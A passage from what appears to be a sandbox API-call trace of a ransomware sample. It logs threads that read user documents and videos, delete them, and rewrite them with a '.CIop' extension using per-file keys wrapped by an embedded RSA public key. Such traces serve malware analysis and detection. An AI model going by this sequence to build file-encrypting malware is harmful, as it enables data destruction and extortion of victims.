szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x2f1bcc0) returned 1 [0105.673] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1bcc0, dwCertEncodingType=0x1, pInfo=0x6923c8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x67e9b8) returned 1 [0105.673] CryptEncrypt (in: hKey=0x67e9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0105.673] CryptEncrypt (in: hKey=0x67e9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1b7f8*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1b7f8*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0105.674] WriteFile (in: hFile=0x660, lpBuffer=0x2f1b7f8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1b7f8*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0105.674] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.675] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.675] VirtualFree (lpAddress=0x32b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.675] CloseHandle (hObject=0x660) returned 1 [0105.677] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\_F8m3hu10142ds4cz1.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\_f8m3hu10142ds4cz1.avi")) returned 0 Thread: id = 208 os_tid = 0xe38 [0105.559] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.559] lstrcpyW (in: lpString1=0x312f368, lpString2="nmKbd_Etp705mK8.odt" | out: lpString1="nmKbd_Etp705mK8.odt") returned="nmKbd_Etp705mK8.odt" [0105.559] lstrcpyW (in: lpString1=0x312f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0105.559] SetErrorMode (uMode=0x1) returned 0x1 [0105.559] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\nmKbd_Etp705mK8.odt") returned 60 [0105.559] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\nmKbd_Etp705mK8.odt", dwFileAttributes=0x20) returned 1 [0105.560] StrStrW (lpFirst="nmKbd_Etp705mK8.odt", lpSrch=".CIop") returned 0x0 [0105.560] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\nmKbd_Etp705mK8.odt.CIop") returned 65 [0105.560] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\nmKbd_Etp705mK8.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\nmkbd_etp705mk8.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x668 [0105.561] ReadFile (in: hFile=0x668, lpBuffer=0x2f27cb8, nNumberOfBytesToRead=0x144d0, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f27cb8*, lpNumberOfBytesRead=0x312e5e8*=0x144d0, lpOverlapped=0x0) returned 1 [0105.561] CloseHandle (hObject=0x668) returned 1 [0105.561] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\nmKbd_Etp705mK8.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\nmkbd_etp705mk8.odt")) returned 1 [0105.710] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0105.710] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x32b0000 [0105.710] SetErrorMode (uMode=0x1) returned 0x1 [0105.710] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f1b880) returned 1 [0105.719] CryptGenKey (in: hProv=0x2f1b880, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67eab8) returned 1 [0105.831] CryptExportKey (in: hKey=0x67eab8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0105.831] CryptExportKey (in: hKey=0x67eab8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x32b0000, pdwDataLen=0x312e5ec | out: pbData=0x32b0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0105.831] CryptDestroyKey (hKey=0x67eab8) returned 1 [0105.831] CryptReleaseContext (hProv=0x2f1b880, dwFlags=0x0) returned 1 [0105.832] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\nmKbd_Etp705mK8.odt.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\nmkbd_etp705mk8.odt.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0105.846] WriteFile (in: hFile=0x66c, lpBuffer=0x2f27cb8*, nNumberOfBytesToWrite=0x144d0, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f27cb8*, lpNumberOfBytesWritten=0x312e5d8*=0x144d0, lpOverlapped=0x0) returned 1 [0105.847] SetFilePointer (in: hFile=0x66c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x144d0 [0105.847] WriteFile (in: hFile=0x66c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0105.847] SetFilePointer (in: hFile=0x66c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x144d7 [0105.847] SetErrorMode (uMode=0x1) returned 0x1 [0105.847] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0105.847] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0105.847] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0105.847] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f1c078) returned 1 [0105.850] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1c078, dwCertEncodingType=0x1, pInfo=0x691c78, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67e578) returned 1 [0105.850] CryptEncrypt (in: hKey=0x67e578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0105.850] CryptEncrypt (in: hKey=0x67e578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1b908*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1b908*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0105.850] WriteFile (in: hFile=0x66c, lpBuffer=0x2f1b908*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1b908*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0105.850] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.852] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.852] VirtualFree (lpAddress=0x32b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.852] CloseHandle (hObject=0x66c) returned 1 [0105.857] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\nmKbd_Etp705mK8.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\nmkbd_etp705mk8.odt")) returned 0 Thread: id = 209 os_tid = 0xe3c [0105.618] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.618] lstrcpyW (in: lpString1=0x347f368, lpString2="Y_62XF6X1FjEo5B7P.avi" | out: lpString1="Y_62XF6X1FjEo5B7P.avi") returned="Y_62XF6X1FjEo5B7P.avi" [0105.618] lstrcpyW (in: lpString1=0x347f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0105.618] SetErrorMode (uMode=0x1) returned 0x1 [0105.618] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\Y_62XF6X1FjEo5B7P.avi") returned 62 [0105.618] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\Y_62XF6X1FjEo5B7P.avi", dwFileAttributes=0x20) returned 1 [0105.685] StrStrW (lpFirst="Y_62XF6X1FjEo5B7P.avi", lpSrch=".CIop") returned 0x0 [0105.685] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\Y_62XF6X1FjEo5B7P.avi.CIop") returned 67 [0105.685] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\Y_62XF6X1FjEo5B7P.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\y_62xf6x1fjeo5b7p.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0105.686] ReadFile (in: hFile=0x66c, lpBuffer=0x2f0ec98, nNumberOfBytesToRead=0x5668, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ec98*, lpNumberOfBytesRead=0x347e5e8*=0x5668, lpOverlapped=0x0) returned 1 [0105.686] CloseHandle (hObject=0x66c) returned 1 [0105.686] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\Y_62XF6X1FjEo5B7P.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\y_62xf6x1fjeo5b7p.avi")) returned 1 [0105.687] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0105.687] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0105.688] SetErrorMode (uMode=0x1) returned 0x1 [0105.688] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f1b6e8) returned 1 [0105.697] CryptGenKey (in: hProv=0x2f1b6e8, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x67e9f8) returned 1 [0105.797] CryptExportKey (in: hKey=0x67e9f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0105.797] CryptExportKey (in: hKey=0x67e9f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x347e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0105.797] CryptDestroyKey (hKey=0x67e9f8) returned 1 [0105.797] CryptReleaseContext (hProv=0x2f1b6e8, dwFlags=0x0) returned 1 [0105.797] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\Y_62XF6X1FjEo5B7P.avi.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\y_62xf6x1fjeo5b7p.avi.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0105.834] WriteFile (in: hFile=0x5c0, lpBuffer=0x2f0ec98*, nNumberOfBytesToWrite=0x5668, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ec98*, lpNumberOfBytesWritten=0x347e5d8*=0x5668, lpOverlapped=0x0) returned 1 [0105.835] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5668 [0105.835] WriteFile (in: hFile=0x5c0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0105.835] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x566f [0105.835] SetErrorMode (uMode=0x1) returned 0x1 [0105.835] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0105.835] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0105.835] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0105.835] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f1b6e8) returned 1 [0105.837] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1b6e8, dwCertEncodingType=0x1, pInfo=0x691048, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x67e7b8) returned 1 [0105.838] CryptEncrypt (in: hKey=0x67e7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0105.838] CryptEncrypt (in: hKey=0x67e7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1b880*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1b880*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0105.838] WriteFile (in: hFile=0x5c0, lpBuffer=0x2f1b880*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1b880*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0105.838] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.838] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.838] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.838] CloseHandle (hObject=0x5c0) returned 1 [0105.839] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\Y_62XF6X1FjEo5B7P.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\y_62xf6x1fjeo5b7p.avi")) returned 0 Thread: id = 210 os_tid = 0xe34 [0105.868] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.868] lstrcpyW (in: lpString1=0x312f368, lpString2="0_psbc9.avi" | out: lpString1="0_psbc9.avi") returned="0_psbc9.avi" [0105.868] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0105.868] SetErrorMode (uMode=0x1) returned 0x1 [0105.868] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\0_psbc9.avi") returned 69 [0105.868] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\0_psbc9.avi", dwFileAttributes=0x20) returned 1 [0105.868] StrStrW (lpFirst="0_psbc9.avi", lpSrch=".CIop") returned 0x0 [0105.868] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\0_psbc9.avi.CIop") returned 74 [0105.868] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\0_psbc9.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\0_psbc9.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0105.869] ReadFile (in: hFile=0x66c, lpBuffer=0x656668, nNumberOfBytesToRead=0xb09b, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x312e5e8*=0xb09b, lpOverlapped=0x0) returned 1 [0105.870] CloseHandle (hObject=0x66c) returned 1 [0105.870] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\0_psbc9.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\0_psbc9.avi")) returned 1 [0105.898] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0105.898] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3270000 [0105.898] SetErrorMode (uMode=0x1) returned 0x1 [0105.898] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f1ba18) returned 1 [0105.907] CryptGenKey (in: hProv=0x2f1ba18, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e438) returned 1 [0105.981] CryptExportKey (in: hKey=0x67e438, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0105.981] CryptExportKey (in: hKey=0x67e438, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3270000, pdwDataLen=0x312e5ec | out: pbData=0x3270000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0105.981] CryptDestroyKey (hKey=0x67e438) returned 1 [0105.981] CryptReleaseContext (hProv=0x2f1ba18, dwFlags=0x0) returned 1 [0105.981] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\0_psbc9.avi.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\0_psbc9.avi.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688 [0105.981] WriteFile (in: hFile=0x688, lpBuffer=0x656668*, nNumberOfBytesToWrite=0xb09b, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x312e5d8*=0xb09b, lpOverlapped=0x0) returned 1 [0105.982] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: 